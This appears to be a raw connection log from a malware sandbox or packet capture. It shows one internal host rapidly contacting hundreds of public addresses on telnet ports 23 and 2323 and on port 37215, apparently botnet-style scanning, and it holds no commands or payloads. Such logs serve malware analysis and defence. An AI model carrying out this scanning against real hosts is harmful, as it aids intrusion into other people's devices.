Nov 3, 2024 15:33:06.126117945 CET	54584	37215	192.168.2.14	197.91.194.211
Nov 3, 2024 15:33:06.126117945 CET	54584	37215	192.168.2.14	197.91.194.211
Nov 3, 2024 15:33:06.126214027 CET	43018	23	192.168.2.14	133.49.168.192
Nov 3, 2024 15:33:06.126251936 CET	23	43122	13.101.180.166	192.168.2.14
Nov 3, 2024 15:33:06.126267910 CET	37215	40270	197.103.118.254	192.168.2.14
Nov 3, 2024 15:33:06.126714945 CET	55160	37215	192.168.2.14	197.91.194.211
Nov 3, 2024 15:33:06.126883030 CET	37215	37328	41.77.71.178	192.168.2.14
Nov 3, 2024 15:33:06.126895905 CET	37215	37328	41.77.71.178	192.168.2.14
Nov 3, 2024 15:33:06.126976967 CET	37215	55934	156.75.91.71	192.168.2.14
Nov 3, 2024 15:33:06.127008915 CET	40342	23	192.168.2.14	81.249.102.9
Nov 3, 2024 15:33:06.127253056 CET	37215	34170	156.214.246.139	192.168.2.14
Nov 3, 2024 15:33:06.127507925 CET	58706	37215	192.168.2.14	156.191.169.252
Nov 3, 2024 15:33:06.127507925 CET	58706	37215	192.168.2.14	156.191.169.252
Nov 3, 2024 15:33:06.127546072 CET	23	58040	216.173.120.226	192.168.2.14
Nov 3, 2024 15:33:06.127609968 CET	40918	23	192.168.2.14	81.249.102.9
Nov 3, 2024 15:33:06.128078938 CET	37215	44878	197.243.86.185	192.168.2.14
Nov 3, 2024 15:33:06.128106117 CET	59280	37215	192.168.2.14	156.191.169.252
Nov 3, 2024 15:33:06.128216982 CET	37215	44878	197.243.86.185	192.168.2.14
Nov 3, 2024 15:33:06.128583908 CET	56528	37215	192.168.2.14	156.75.91.71
Nov 3, 2024 15:33:06.128823996 CET	44108	23	192.168.2.14	54.33.199.213
Nov 3, 2024 15:33:06.129110098 CET	44682	23	192.168.2.14	54.33.199.213
Nov 3, 2024 15:33:06.129209042 CET	23	48790	213.230.169.123	192.168.2.14
Nov 3, 2024 15:33:06.129520893 CET	37215	52068	156.115.237.200	192.168.2.14
Nov 3, 2024 15:33:06.129582882 CET	37215	52068	156.115.237.200	192.168.2.14
Nov 3, 2024 15:33:06.130362034 CET	23	42442	133.49.168.192	192.168.2.14
Nov 3, 2024 15:33:06.130911112 CET	37215	54584	197.91.194.211	192.168.2.14
Nov 3, 2024 15:33:06.131062984 CET	37215	54584	197.91.194.211	192.168.2.14
Nov 3, 2024 15:33:06.131764889 CET	23	40342	81.249.102.9	192.168.2.14
Nov 3, 2024 15:33:06.132316113 CET	37215	58706	156.191.169.252	192.168.2.14
Nov 3, 2024 15:33:06.132421970 CET	37215	58706	156.191.169.252	192.168.2.14
Nov 3, 2024 15:33:06.133547068 CET	37215	56528	156.75.91.71	192.168.2.14
Nov 3, 2024 15:33:06.133589983 CET	56528	37215	192.168.2.14	156.75.91.71
Nov 3, 2024 15:33:06.134017944 CET	23	44108	54.33.199.213	192.168.2.14
Nov 3, 2024 15:33:06.140960932 CET	38306	37215	192.168.2.14	156.109.25.155
Nov 3, 2024 15:33:06.140960932 CET	44592	37215	192.168.2.14	197.128.115.142
Nov 3, 2024 15:33:06.140965939 CET	60324	37215	192.168.2.14	197.3.48.196
Nov 3, 2024 15:33:06.140965939 CET	45786	37215	192.168.2.14	41.212.41.1
Nov 3, 2024 15:33:06.140968084 CET	34198	37215	192.168.2.14	41.255.139.124
Nov 3, 2024 15:33:06.140974045 CET	39852	37215	192.168.2.14	41.219.54.123
Nov 3, 2024 15:33:06.140975952 CET	53938	37215	192.168.2.14	197.185.108.10
Nov 3, 2024 15:33:06.140976906 CET	33588	37215	192.168.2.14	156.167.119.212
Nov 3, 2024 15:33:06.140976906 CET	36966	37215	192.168.2.14	197.215.113.9
Nov 3, 2024 15:33:06.140976906 CET	36596	37215	192.168.2.14	41.178.239.94
Nov 3, 2024 15:33:06.140980959 CET	40662	37215	192.168.2.14	156.227.71.58
Nov 3, 2024 15:33:06.140980005 CET	56072	37215	192.168.2.14	41.169.60.238
Nov 3, 2024 15:33:06.140980005 CET	35776	37215	192.168.2.14	41.110.17.208
Nov 3, 2024 15:33:06.140984058 CET	57244	37215	192.168.2.14	156.171.200.193
Nov 3, 2024 15:33:06.140990019 CET	57698	37215	192.168.2.14	156.196.158.189
Nov 3, 2024 15:33:06.140990973 CET	36908	37215	192.168.2.14	41.113.208.134
Nov 3, 2024 15:33:06.140990973 CET	45858	37215	192.168.2.14	41.63.150.43
Nov 3, 2024 15:33:06.140994072 CET	52290	37215	192.168.2.14	197.223.202.189
Nov 3, 2024 15:33:06.140995026 CET	38834	37215	192.168.2.14	197.5.68.146
Nov 3, 2024 15:33:06.140995026 CET	49976	37215	192.168.2.14	41.173.225.126
Nov 3, 2024 15:33:06.144961119 CET	33878	23	192.168.2.14	86.21.80.29
Nov 3, 2024 15:33:06.144964933 CET	37556	23	192.168.2.14	198.225.115.255
Nov 3, 2024 15:33:06.144964933 CET	39052	23	192.168.2.14	119.164.224.217
Nov 3, 2024 15:33:06.144967079 CET	52646	23	192.168.2.14	121.234.143.102
Nov 3, 2024 15:33:06.144982100 CET	50634	23	192.168.2.14	207.95.101.216
Nov 3, 2024 15:33:06.144984007 CET	41884	23	192.168.2.14	116.207.27.172
Nov 3, 2024 15:33:06.144987106 CET	52982	2323	192.168.2.14	44.20.145.126
Nov 3, 2024 15:33:06.144989967 CET	44784	23	192.168.2.14	195.192.70.208
Nov 3, 2024 15:33:06.144989967 CET	53148	23	192.168.2.14	19.77.22.181
Nov 3, 2024 15:33:06.144992113 CET	53484	23	192.168.2.14	46.243.236.106
Nov 3, 2024 15:33:06.144993067 CET	39352	23	192.168.2.14	20.246.13.46
Nov 3, 2024 15:33:06.145714998 CET	37215	38306	156.109.25.155	192.168.2.14
Nov 3, 2024 15:33:06.145760059 CET	38306	37215	192.168.2.14	156.109.25.155
Nov 3, 2024 15:33:06.145828009 CET	38306	37215	192.168.2.14	156.109.25.155
Nov 3, 2024 15:33:06.145828009 CET	38306	37215	192.168.2.14	156.109.25.155
Nov 3, 2024 15:33:06.146128893 CET	38814	37215	192.168.2.14	156.109.25.155
Nov 3, 2024 15:33:06.146370888 CET	37215	44592	197.128.115.142	192.168.2.14
Nov 3, 2024 15:33:06.146415949 CET	44592	37215	192.168.2.14	197.128.115.142
Nov 3, 2024 15:33:06.146519899 CET	44592	37215	192.168.2.14	197.128.115.142
Nov 3, 2024 15:33:06.146519899 CET	44592	37215	192.168.2.14	197.128.115.142
Nov 3, 2024 15:33:06.146773100 CET	45104	37215	192.168.2.14	197.128.115.142
Nov 3, 2024 15:33:06.152854919 CET	37215	38306	156.109.25.155	192.168.2.14
Nov 3, 2024 15:33:06.152868986 CET	37215	38306	156.109.25.155	192.168.2.14
Nov 3, 2024 15:33:06.153270960 CET	37215	44592	197.128.115.142	192.168.2.14
Nov 3, 2024 15:33:06.153310061 CET	44592	37215	192.168.2.14	197.128.115.142
Nov 3, 2024 15:33:06.153420925 CET	37215	44592	197.128.115.142	192.168.2.14
Nov 3, 2024 15:33:06.153434038 CET	37215	44592	197.128.115.142	192.168.2.14
Nov 3, 2024 15:33:06.158087969 CET	37215	44592	197.128.115.142	192.168.2.14
Nov 3, 2024 15:33:06.172964096 CET	55236	37215	192.168.2.14	197.2.153.184
Nov 3, 2024 15:33:06.172965050 CET	52588	23	192.168.2.14	150.56.169.84
Nov 3, 2024 15:33:06.172965050 CET	43180	2323	192.168.2.14	67.206.244.155
Nov 3, 2024 15:33:06.172966003 CET	36008	37215	192.168.2.14	41.39.6.67
Nov 3, 2024 15:33:06.172966003 CET	40348	37215	192.168.2.14	197.205.43.36
Nov 3, 2024 15:33:06.172971010 CET	50702	23	192.168.2.14	104.59.145.38
Nov 3, 2024 15:33:06.172971964 CET	45590	23	192.168.2.14	174.169.170.73
Nov 3, 2024 15:33:06.172976017 CET	37296	37215	192.168.2.14	41.168.9.54
Nov 3, 2024 15:33:06.172976017 CET	39408	37215	192.168.2.14	156.134.105.214
Nov 3, 2024 15:33:06.172976017 CET	49892	37215	192.168.2.14	156.140.164.16
Nov 3, 2024 15:33:06.172976017 CET	34216	23	192.168.2.14	146.184.36.238
Nov 3, 2024 15:33:06.172976017 CET	44948	23	192.168.2.14	173.42.154.129
Nov 3, 2024 15:33:06.172976017 CET	60438	37215	192.168.2.14	197.179.102.71
Nov 3, 2024 15:33:06.172981024 CET	42840	23	192.168.2.14	200.122.147.32
Nov 3, 2024 15:33:06.172981024 CET	44960	23	192.168.2.14	77.222.124.20
Nov 3, 2024 15:33:06.172981024 CET	59790	37215	192.168.2.14	41.152.224.214
Nov 3, 2024 15:33:06.172981977 CET	55868	37215	192.168.2.14	156.99.132.67
Nov 3, 2024 15:33:06.172983885 CET	35132	37215	192.168.2.14	156.217.236.232
Nov 3, 2024 15:33:06.172983885 CET	42834	23	192.168.2.14	180.89.225.190
Nov 3, 2024 15:33:06.172986984 CET	39398	23	192.168.2.14	118.95.248.76
Nov 3, 2024 15:33:06.177820921 CET	37215	36008	41.39.6.67	192.168.2.14
Nov 3, 2024 15:33:06.177869081 CET	36008	37215	192.168.2.14	41.39.6.67
Nov 3, 2024 15:33:06.177911043 CET	37215	55236	197.2.153.184	192.168.2.14
Nov 3, 2024 15:33:06.177927017 CET	23	52588	150.56.169.84	192.168.2.14
Nov 3, 2024 15:33:06.177930117 CET	36008	37215	192.168.2.14	41.39.6.67
Nov 3, 2024 15:33:06.177930117 CET	36008	37215	192.168.2.14	41.39.6.67
Nov 3, 2024 15:33:06.177970886 CET	55236	37215	192.168.2.14	197.2.153.184
Nov 3, 2024 15:33:06.177978992 CET	52588	23	192.168.2.14	150.56.169.84
Nov 3, 2024 15:33:06.178283930 CET	36472	37215	192.168.2.14	41.39.6.67
Nov 3, 2024 15:33:06.178663015 CET	55236	37215	192.168.2.14	197.2.153.184
Nov 3, 2024 15:33:06.178663015 CET	55236	37215	192.168.2.14	197.2.153.184
Nov 3, 2024 15:33:06.178925991 CET	55706	37215	192.168.2.14	197.2.153.184
Nov 3, 2024 15:33:06.182806015 CET	37215	36008	41.39.6.67	192.168.2.14
Nov 3, 2024 15:33:06.182969093 CET	37215	36008	41.39.6.67	192.168.2.14
Nov 3, 2024 15:33:06.183100939 CET	37215	55236	197.2.153.184	192.168.2.14
Nov 3, 2024 15:33:06.183146000 CET	23	52588	150.56.169.84	192.168.2.14
Nov 3, 2024 15:33:06.183147907 CET	55236	37215	192.168.2.14	197.2.153.184
Nov 3, 2024 15:33:06.183218002 CET	52588	23	192.168.2.14	150.56.169.84
Nov 3, 2024 15:33:06.183449030 CET	37215	55236	197.2.153.184	192.168.2.14
Nov 3, 2024 15:33:06.183542013 CET	53062	23	192.168.2.14	150.56.169.84
Nov 3, 2024 15:33:06.183542967 CET	37215	55236	197.2.153.184	192.168.2.14
Nov 3, 2024 15:33:06.187927008 CET	37215	55236	197.2.153.184	192.168.2.14
Nov 3, 2024 15:33:06.188267946 CET	23	52588	150.56.169.84	192.168.2.14
Nov 3, 2024 15:33:06.188636065 CET	23	53062	150.56.169.84	192.168.2.14
Nov 3, 2024 15:33:06.188688993 CET	53062	23	192.168.2.14	150.56.169.84
Nov 3, 2024 15:33:06.193684101 CET	23	53062	150.56.169.84	192.168.2.14
Nov 3, 2024 15:33:06.193778992 CET	53062	23	192.168.2.14	150.56.169.84
Nov 3, 2024 15:33:06.194091082 CET	53064	23	192.168.2.14	150.56.169.84
Nov 3, 2024 15:33:06.198637009 CET	23	53062	150.56.169.84	192.168.2.14
Nov 3, 2024 15:33:06.198807955 CET	23	53064	150.56.169.84	192.168.2.14
Nov 3, 2024 15:33:06.198857069 CET	53064	23	192.168.2.14	150.56.169.84
Nov 3, 2024 15:33:06.203928947 CET	23	53064	150.56.169.84	192.168.2.14
Nov 3, 2024 15:33:06.204001904 CET	53064	23	192.168.2.14	150.56.169.84
Nov 3, 2024 15:33:06.204322100 CET	53066	23	192.168.2.14	150.56.169.84
Nov 3, 2024 15:33:06.204957008 CET	34274	37215	192.168.2.14	197.223.76.128
Nov 3, 2024 15:33:06.204957008 CET	37620	37215	192.168.2.14	156.71.26.142
Nov 3, 2024 15:33:06.204957962 CET	39364	2323	192.168.2.14	209.9.141.12
Nov 3, 2024 15:33:06.204967022 CET	50004	23	192.168.2.14	12.80.90.209
Nov 3, 2024 15:33:06.204967022 CET	46452	37215	192.168.2.14	156.176.137.173
Nov 3, 2024 15:33:06.204967976 CET	43692	23	192.168.2.14	76.244.142.178
Nov 3, 2024 15:33:06.204969883 CET	60580	37215	192.168.2.14	197.164.23.128
Nov 3, 2024 15:33:06.204969883 CET	54806	37215	192.168.2.14	41.140.100.213
Nov 3, 2024 15:33:06.204971075 CET	52382	23	192.168.2.14	220.94.249.244
Nov 3, 2024 15:33:06.204972029 CET	44104	37215	192.168.2.14	41.111.151.47
Nov 3, 2024 15:33:06.204972029 CET	42952	23	192.168.2.14	211.210.255.138
Nov 3, 2024 15:33:06.204978943 CET	50838	23	192.168.2.14	104.120.197.44
Nov 3, 2024 15:33:06.204978943 CET	50678	37215	192.168.2.14	41.186.137.87
Nov 3, 2024 15:33:06.204982042 CET	58022	23	192.168.2.14	124.217.5.131
Nov 3, 2024 15:33:06.204982042 CET	39464	37215	192.168.2.14	197.123.127.167
Nov 3, 2024 15:33:06.204982996 CET	60264	37215	192.168.2.14	156.225.184.189
Nov 3, 2024 15:33:06.204982042 CET	59640	23	192.168.2.14	124.151.144.57
Nov 3, 2024 15:33:06.204982042 CET	57402	37215	192.168.2.14	41.94.176.141
Nov 3, 2024 15:33:06.204986095 CET	44400	2323	192.168.2.14	152.183.125.215
Nov 3, 2024 15:33:06.204993963 CET	33506	37215	192.168.2.14	41.240.71.183
Nov 3, 2024 15:33:06.204993963 CET	39398	23	192.168.2.14	174.11.30.87
Nov 3, 2024 15:33:06.204993963 CET	54642	37215	192.168.2.14	156.157.12.162
Nov 3, 2024 15:33:06.205003023 CET	47704	37215	192.168.2.14	41.194.179.215
Nov 3, 2024 15:33:06.205003023 CET	50130	37215	192.168.2.14	197.235.77.122
Nov 3, 2024 15:33:06.205007076 CET	53478	37215	192.168.2.14	156.175.61.228
Nov 3, 2024 15:33:06.205008030 CET	46318	37215	192.168.2.14	156.228.90.120
Nov 3, 2024 15:33:06.205008030 CET	60246	23	192.168.2.14	198.175.87.210
Nov 3, 2024 15:33:06.205008030 CET	39260	37215	192.168.2.14	41.53.21.200
Nov 3, 2024 15:33:06.205008030 CET	43012	23	192.168.2.14	95.7.203.251
Nov 3, 2024 15:33:06.205008030 CET	52370	23	192.168.2.14	65.161.59.74
Nov 3, 2024 15:33:06.205010891 CET	43440	23	192.168.2.14	36.181.35.174
Nov 3, 2024 15:33:06.205008030 CET	58966	23	192.168.2.14	98.111.58.225
Nov 3, 2024 15:33:06.205008030 CET	36730	23	192.168.2.14	212.140.253.155
Nov 3, 2024 15:33:06.209243059 CET	23	53064	150.56.169.84	192.168.2.14
Nov 3, 2024 15:33:06.209256887 CET	23	53066	150.56.169.84	192.168.2.14
Nov 3, 2024 15:33:06.209315062 CET	53066	23	192.168.2.14	150.56.169.84
Nov 3, 2024 15:33:06.214500904 CET	23	53066	150.56.169.84	192.168.2.14
Nov 3, 2024 15:33:06.214576006 CET	53066	23	192.168.2.14	150.56.169.84
Nov 3, 2024 15:33:06.214915991 CET	53068	23	192.168.2.14	150.56.169.84
Nov 3, 2024 15:33:06.220038891 CET	23	53066	150.56.169.84	192.168.2.14
Nov 3, 2024 15:33:06.220052004 CET	23	53068	150.56.169.84	192.168.2.14
Nov 3, 2024 15:33:06.220103979 CET	53068	23	192.168.2.14	150.56.169.84
Nov 3, 2024 15:33:06.234585047 CET	23	53068	150.56.169.84	192.168.2.14
Nov 3, 2024 15:33:06.234664917 CET	53068	23	192.168.2.14	150.56.169.84
Nov 3, 2024 15:33:06.234993935 CET	53070	23	192.168.2.14	150.56.169.84
Nov 3, 2024 15:33:06.236957073 CET	36900	2323	192.168.2.14	18.30.246.16
Nov 3, 2024 15:33:06.236957073 CET	39316	37215	192.168.2.14	197.122.174.144
Nov 3, 2024 15:33:06.236957073 CET	42748	23	192.168.2.14	72.37.180.64
Nov 3, 2024 15:33:06.236957073 CET	54534	37215	192.168.2.14	197.185.236.65
Nov 3, 2024 15:33:06.236957073 CET	57834	37215	192.168.2.14	156.98.94.204
Nov 3, 2024 15:33:06.236960888 CET	53510	37215	192.168.2.14	197.164.122.124
Nov 3, 2024 15:33:06.236960888 CET	33338	37215	192.168.2.14	41.135.218.72
Nov 3, 2024 15:33:06.236967087 CET	50534	37215	192.168.2.14	197.146.167.175
Nov 3, 2024 15:33:06.236969948 CET	49902	37215	192.168.2.14	41.82.16.126
Nov 3, 2024 15:33:06.236969948 CET	39846	37215	192.168.2.14	197.45.148.89
Nov 3, 2024 15:33:06.236969948 CET	53460	37215	192.168.2.14	156.9.19.35
Nov 3, 2024 15:33:06.236973047 CET	44702	37215	192.168.2.14	197.69.184.15
Nov 3, 2024 15:33:06.236975908 CET	37428	37215	192.168.2.14	197.181.5.130
Nov 3, 2024 15:33:06.236975908 CET	35706	23	192.168.2.14	66.67.58.9
Nov 3, 2024 15:33:06.236975908 CET	41384	23	192.168.2.14	36.203.78.30
Nov 3, 2024 15:33:06.236979008 CET	52732	23	192.168.2.14	210.46.140.34
Nov 3, 2024 15:33:06.236980915 CET	50632	23	192.168.2.14	79.182.16.153
Nov 3, 2024 15:33:06.236980915 CET	48870	37215	192.168.2.14	156.42.97.189
Nov 3, 2024 15:33:06.236980915 CET	34704	37215	192.168.2.14	156.197.244.29
Nov 3, 2024 15:33:06.236980915 CET	53102	23	192.168.2.14	168.146.104.161
Nov 3, 2024 15:33:06.236984015 CET	42018	2323	192.168.2.14	164.104.163.42
Nov 3, 2024 15:33:06.236984015 CET	40148	37215	192.168.2.14	197.101.8.217
Nov 3, 2024 15:33:06.236989021 CET	52924	23	192.168.2.14	58.242.158.172
Nov 3, 2024 15:33:06.236990929 CET	42298	23	192.168.2.14	196.125.41.89
Nov 3, 2024 15:33:06.236990929 CET	49888	23	192.168.2.14	125.6.47.19
Nov 3, 2024 15:33:06.236994982 CET	60738	23	192.168.2.14	95.34.63.61
Nov 3, 2024 15:33:06.236995935 CET	36480	23	192.168.2.14	149.198.132.209
Nov 3, 2024 15:33:06.236998081 CET	57228	23	192.168.2.14	107.237.69.15
Nov 3, 2024 15:33:06.237004995 CET	58844	23	192.168.2.14	4.190.209.79
Nov 3, 2024 15:33:06.237005949 CET	38582	23	192.168.2.14	148.109.114.29
Nov 3, 2024 15:33:06.237005949 CET	40990	23	192.168.2.14	208.146.14.98
Nov 3, 2024 15:33:06.237005949 CET	56776	23	192.168.2.14	153.84.54.160
Nov 3, 2024 15:33:06.239481926 CET	23	53068	150.56.169.84	192.168.2.14
Nov 3, 2024 15:33:06.240236044 CET	23	53070	150.56.169.84	192.168.2.14
Nov 3, 2024 15:33:06.240325928 CET	53070	23	192.168.2.14	150.56.169.84
Nov 3, 2024 15:33:06.242311954 CET	2323	36900	18.30.246.16	192.168.2.14
Nov 3, 2024 15:33:06.242360115 CET	36900	2323	192.168.2.14	18.30.246.16
Nov 3, 2024 15:33:06.245919943 CET	23	53070	150.56.169.84	192.168.2.14
Nov 3, 2024 15:33:06.246005058 CET	53070	23	192.168.2.14	150.56.169.84
Nov 3, 2024 15:33:06.246313095 CET	53072	23	192.168.2.14	150.56.169.84
Nov 3, 2024 15:33:06.251209021 CET	23	53070	150.56.169.84	192.168.2.14
Nov 3, 2024 15:33:06.251221895 CET	23	53072	150.56.169.84	192.168.2.14
Nov 3, 2024 15:33:06.251300097 CET	53072	23	192.168.2.14	150.56.169.84
Nov 3, 2024 15:33:06.256972075 CET	23	53072	150.56.169.84	192.168.2.14
Nov 3, 2024 15:33:06.257055044 CET	53072	23	192.168.2.14	150.56.169.84
Nov 3, 2024 15:33:06.257395029 CET	53074	23	192.168.2.14	150.56.169.84
Nov 3, 2024 15:33:06.261929989 CET	23	53072	150.56.169.84	192.168.2.14
Nov 3, 2024 15:33:06.262262106 CET	23	53074	150.56.169.84	192.168.2.14
Nov 3, 2024 15:33:06.262310028 CET	53074	23	192.168.2.14	150.56.169.84
Nov 3, 2024 15:33:06.267810106 CET	23	53074	150.56.169.84	192.168.2.14
Nov 3, 2024 15:33:06.267883062 CET	53074	23	192.168.2.14	150.56.169.84
Nov 3, 2024 15:33:06.268191099 CET	53076	23	192.168.2.14	150.56.169.84
Nov 3, 2024 15:33:06.268959999 CET	46416	23	192.168.2.14	203.226.190.38
Nov 3, 2024 15:33:06.268963099 CET	36748	37215	192.168.2.14	156.233.106.32
Nov 3, 2024 15:33:06.268964052 CET	52254	37215	192.168.2.14	156.132.222.235
Nov 3, 2024 15:33:06.268968105 CET	37016	37215	192.168.2.14	41.102.52.117
Nov 3, 2024 15:33:06.268970966 CET	43670	37215	192.168.2.14	156.79.77.68
Nov 3, 2024 15:33:06.268970966 CET	52020	23	192.168.2.14	221.51.229.78
Nov 3, 2024 15:33:06.268973112 CET	40414	23	192.168.2.14	166.57.28.207
Nov 3, 2024 15:33:06.268985033 CET	46778	37215	192.168.2.14	197.39.77.74
Nov 3, 2024 15:33:06.268986940 CET	39432	23	192.168.2.14	58.236.76.205
Nov 3, 2024 15:33:06.268989086 CET	41558	23	192.168.2.14	223.146.144.78
Nov 3, 2024 15:33:06.268990040 CET	38932	37215	192.168.2.14	156.211.166.247
Nov 3, 2024 15:33:06.268990040 CET	38386	37215	192.168.2.14	41.249.78.239
Nov 3, 2024 15:33:06.268990040 CET	39880	23	192.168.2.14	194.229.95.42
Nov 3, 2024 15:33:06.268990040 CET	44028	37215	192.168.2.14	197.218.170.223
Nov 3, 2024 15:33:06.268990040 CET	38756	37215	192.168.2.14	41.183.11.39
Nov 3, 2024 15:33:06.269001961 CET	37288	23	192.168.2.14	201.102.51.122
Nov 3, 2024 15:33:06.269004107 CET	52366	23	192.168.2.14	68.78.197.131
Nov 3, 2024 15:33:06.269007921 CET	57546	23	192.168.2.14	202.71.47.74
Nov 3, 2024 15:33:06.269007921 CET	33756	37215	192.168.2.14	197.206.23.158
Nov 3, 2024 15:33:06.269007921 CET	36584	23	192.168.2.14	190.252.22.235
Nov 3, 2024 15:33:06.269009113 CET	36150	37215	192.168.2.14	156.7.119.130
Nov 3, 2024 15:33:06.269007921 CET	56422	23	192.168.2.14	66.43.145.95
Nov 3, 2024 15:33:06.269010067 CET	60404	23	192.168.2.14	93.178.4.158
Nov 3, 2024 15:33:06.269011974 CET	52336	37215	192.168.2.14	197.119.212.153
Nov 3, 2024 15:33:06.269011974 CET	41682	37215	192.168.2.14	41.198.128.222
Nov 3, 2024 15:33:06.269011974 CET	59032	23	192.168.2.14	96.86.209.177
Nov 3, 2024 15:33:06.269011974 CET	42150	37215	192.168.2.14	156.198.30.156
Nov 3, 2024 15:33:06.269011974 CET	45850	37215	192.168.2.14	41.110.52.200
Nov 3, 2024 15:33:06.269012928 CET	54646	37215	192.168.2.14	197.146.206.253
Nov 3, 2024 15:33:06.269011974 CET	51392	2323	192.168.2.14	202.107.75.62
Nov 3, 2024 15:33:06.269012928 CET	58770	23	192.168.2.14	93.197.117.16
Nov 3, 2024 15:33:06.269011974 CET	47942	23	192.168.2.14	160.79.59.93
Nov 3, 2024 15:33:06.269017935 CET	49214	23	192.168.2.14	18.89.87.117
Nov 3, 2024 15:33:06.272701979 CET	23	53074	150.56.169.84	192.168.2.14
Nov 3, 2024 15:33:06.273013115 CET	23	53076	150.56.169.84	192.168.2.14
Nov 3, 2024 15:33:06.273055077 CET	53076	23	192.168.2.14	150.56.169.84
Nov 3, 2024 15:33:06.300960064 CET	46126	37215	192.168.2.14	41.214.36.137
Nov 3, 2024 15:33:06.300964117 CET	45874	23	192.168.2.14	101.102.33.216
Nov 3, 2024 15:33:06.300967932 CET	35616	37215	192.168.2.14	197.87.144.104
Nov 3, 2024 15:33:06.300967932 CET	37418	23	192.168.2.14	80.166.40.152
Nov 3, 2024 15:33:06.300967932 CET	60102	37215	192.168.2.14	197.200.15.170
Nov 3, 2024 15:33:06.300980091 CET	40344	23	192.168.2.14	200.87.169.165
Nov 3, 2024 15:33:06.300980091 CET	34314	23	192.168.2.14	208.192.45.44
Nov 3, 2024 15:33:06.300980091 CET	43848	23	192.168.2.14	94.178.187.157
Nov 3, 2024 15:33:06.300981045 CET	48258	23	192.168.2.14	110.36.39.59
Nov 3, 2024 15:33:06.300980091 CET	59178	23	192.168.2.14	43.3.41.32
Nov 3, 2024 15:33:06.300985098 CET	48688	37215	192.168.2.14	41.33.156.0
Nov 3, 2024 15:33:06.300986052 CET	37274	37215	192.168.2.14	197.146.192.174
Nov 3, 2024 15:33:06.300985098 CET	35644	37215	192.168.2.14	41.244.190.25
Nov 3, 2024 15:33:06.300986052 CET	36132	37215	192.168.2.14	41.126.40.159
Nov 3, 2024 15:33:06.300986052 CET	48262	23	192.168.2.14	202.167.120.231
Nov 3, 2024 15:33:06.300987959 CET	60708	23	192.168.2.14	19.214.238.80
Nov 3, 2024 15:33:06.300987959 CET	59736	23	192.168.2.14	31.125.136.204
Nov 3, 2024 15:33:06.300988913 CET	36228	23	192.168.2.14	209.129.129.97
Nov 3, 2024 15:33:06.300987959 CET	49768	2323	192.168.2.14	154.119.121.135
Nov 3, 2024 15:33:06.300980091 CET	58612	23	192.168.2.14	99.114.187.252
Nov 3, 2024 15:33:06.300987959 CET	39992	37215	192.168.2.14	41.168.203.29
Nov 3, 2024 15:33:06.300980091 CET	44900	37215	192.168.2.14	156.202.235.113
Nov 3, 2024 15:33:06.300988913 CET	32794	23	192.168.2.14	168.61.185.185
Nov 3, 2024 15:33:06.300980091 CET	52838	2323	192.168.2.14	160.225.3.89
Nov 3, 2024 15:33:06.300992966 CET	56922	23	192.168.2.14	71.102.250.214
Nov 3, 2024 15:33:06.300987959 CET	57164	23	192.168.2.14	213.231.65.178
Nov 3, 2024 15:33:06.300992966 CET	53812	37215	192.168.2.14	41.71.163.79
Nov 3, 2024 15:33:06.300987959 CET	34348	37215	192.168.2.14	197.153.87.52
Nov 3, 2024 15:33:06.300987959 CET	36850	37215	192.168.2.14	197.31.225.2
Nov 3, 2024 15:33:06.300987959 CET	52410	23	192.168.2.14	115.137.137.86
Nov 3, 2024 15:33:06.301007032 CET	59282	37215	192.168.2.14	156.253.95.85
Nov 3, 2024 15:33:06.301007032 CET	39950	37215	192.168.2.14	156.53.179.243
Nov 3, 2024 15:33:06.301007032 CET	55064	37215	192.168.2.14	156.100.125.226
Nov 3, 2024 15:33:06.305850029 CET	37215	46126	41.214.36.137	192.168.2.14
Nov 3, 2024 15:33:06.305865049 CET	23	45874	101.102.33.216	192.168.2.14
Nov 3, 2024 15:33:06.305879116 CET	37215	35616	197.87.144.104	192.168.2.14
Nov 3, 2024 15:33:06.305892944 CET	23	37418	80.166.40.152	192.168.2.14
Nov 3, 2024 15:33:06.305897951 CET	46126	37215	192.168.2.14	41.214.36.137
Nov 3, 2024 15:33:06.305910110 CET	35616	37215	192.168.2.14	197.87.144.104
Nov 3, 2024 15:33:06.305937052 CET	45874	23	192.168.2.14	101.102.33.216
Nov 3, 2024 15:33:06.305941105 CET	37418	23	192.168.2.14	80.166.40.152
Nov 3, 2024 15:33:06.305946112 CET	35616	37215	192.168.2.14	197.87.144.104
Nov 3, 2024 15:33:06.305958986 CET	46126	37215	192.168.2.14	41.214.36.137
Nov 3, 2024 15:33:06.311160088 CET	37215	35616	197.87.144.104	192.168.2.14
Nov 3, 2024 15:33:06.311207056 CET	35616	37215	192.168.2.14	197.87.144.104
Nov 3, 2024 15:33:06.311575890 CET	37215	46126	41.214.36.137	192.168.2.14
Nov 3, 2024 15:33:06.311615944 CET	46126	37215	192.168.2.14	41.214.36.137
Nov 3, 2024 15:33:06.311924934 CET	23	45874	101.102.33.216	192.168.2.14
Nov 3, 2024 15:33:06.311938047 CET	23	37418	80.166.40.152	192.168.2.14
Nov 3, 2024 15:33:06.312000036 CET	37418	23	192.168.2.14	80.166.40.152
Nov 3, 2024 15:33:06.312310934 CET	37618	23	192.168.2.14	80.166.40.152
Nov 3, 2024 15:33:06.312694073 CET	45874	23	192.168.2.14	101.102.33.216
Nov 3, 2024 15:33:06.312988043 CET	46096	23	192.168.2.14	101.102.33.216
Nov 3, 2024 15:33:06.316734076 CET	23	37418	80.166.40.152	192.168.2.14
Nov 3, 2024 15:33:06.317037106 CET	23	37618	80.166.40.152	192.168.2.14
Nov 3, 2024 15:33:06.317080975 CET	37618	23	192.168.2.14	80.166.40.152
Nov 3, 2024 15:33:06.317419052 CET	23	45874	101.102.33.216	192.168.2.14
Nov 3, 2024 15:33:06.322190046 CET	23	37618	80.166.40.152	192.168.2.14
Nov 3, 2024 15:33:06.322252989 CET	37618	23	192.168.2.14	80.166.40.152
Nov 3, 2024 15:33:06.322586060 CET	37622	23	192.168.2.14	80.166.40.152
Nov 3, 2024 15:33:06.327195883 CET	23	37618	80.166.40.152	192.168.2.14
Nov 3, 2024 15:33:06.327517033 CET	23	37622	80.166.40.152	192.168.2.14
Nov 3, 2024 15:33:06.327557087 CET	37622	23	192.168.2.14	80.166.40.152
Nov 3, 2024 15:33:06.332880020 CET	23	37622	80.166.40.152	192.168.2.14
Nov 3, 2024 15:33:06.332952023 CET	36524	23	192.168.2.14	182.42.147.78
Nov 3, 2024 15:33:06.332952023 CET	60530	37215	192.168.2.14	156.249.165.48
Nov 3, 2024 15:33:06.332952976 CET	51444	37215	192.168.2.14	197.44.49.39
Nov 3, 2024 15:33:06.332956076 CET	41502	37215	192.168.2.14	41.213.232.198
Nov 3, 2024 15:33:06.332954884 CET	33548	23	192.168.2.14	213.113.118.201
